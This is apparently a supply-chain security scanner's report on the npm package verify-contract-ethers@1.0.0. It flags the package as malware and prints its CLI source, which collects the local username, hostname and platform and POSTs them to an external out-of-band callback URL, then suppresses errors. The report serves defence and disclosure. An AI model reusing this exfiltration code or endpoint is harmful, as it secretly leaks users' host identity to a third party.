registry / Data exfiltration / verify-contract-ethers

verify-contract-ethers

Minimal npx package that POSTs package name and whoami to an OOB callback

This report shows the evidence for verify-contract-ethers@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package's only implemented runtime behavior is unconsented host fingerprint collection and transmission to an unrelated endpoint. This is concrete data exfiltration, despite not running during installation.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A user invokes the fuels-typegen command or executes bin/cli.js.

Impact

The package discloses local account and host fingerprint information to a third party.

Mechanism

Host identity collection followed by an external HTTP POST.

Attack narrative

The advertised CLI immediately runs main, obtains the current user name using whoami or the operating-system account record, and sends it along with hostname and platform data to an external callback. Failures are deliberately ignored, allowing the command to exit cleanly after attempted exfiltration.

AI rationale

Evidence

bin/cli.jspackage.json

Network endpoints1

oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The CLI obtains the local account name and sends it with host identity details to an unrelated external callback.
The executable runs automatically when the advertised command is invoked and suppresses network errors.
The manifest describes the package as posting the package name and local user name to an out-of-band callback.

Evidence against

There are no npm install lifecycle hooks.
The inspected source does not modify local files or load a remote payload.

Behavioral surface

Source

ChildProcessNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.01 KB of source, external domains: oobme.kunalsharma0553.workers.dev

Source & flagged code

8 flagged

bin/cli.jsView file

2L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

•matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

9function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } }

High

Ai Review Evidence

The CLI obtains the local account name and sends it with host identity details to an unrelated external callback.

bin/cli.jsView on unpkg · L9

21async function main() { const user = whoami(); const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try { await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }),

High

Ai Review Evidence

The CLI obtains the local account name and sends it with host identity details to an unrelated external callback.

bin/cli.jsView on unpkg · L21

42} catch { // OOB ping is best-effort; exit cleanly either way } } main();

High

Ai Review Evidence

The executable runs automatically when the advertised command is invoked and suppresses network errors.

bin/cli.jsView on unpkg · L42

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

2"name": "verify-contract-ethers", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "fuels-typegen": "bin/cli.js" }, "main": "bin/cli.js",

High

Ai Review Evidence

The manifest describes the package as posting the package name and local user name to an out-of-band callback.

package.jsonView on unpkg · L2

Source & flagged code

8 flagged · loading source

bin/cli.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

Findings

8 High1 Medium3 Low

HighHost Fingerprint Exfiltrationbin/cli.js

HighSemantic Analysis Limitedpackage.json

HighKnown Malware Source Similaritybin/cli.js

HighKnown Malware Source Fingerprint Signaturebin/cli.js

HighAi Review Evidencebin/cli.js

HighAi Review Evidencepackage.json

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to verify-contract-ethers@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing verify-contract-ethers@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-03 06:00:07.616Z (UTC).

Source advisory published: 2026-08-30 08:40:44.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedSep 1, 2026, 10:41 PM 1.0.0shownMaliciousData ExfiltrationBlockPublishedAug 30, 2026, 7:55 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code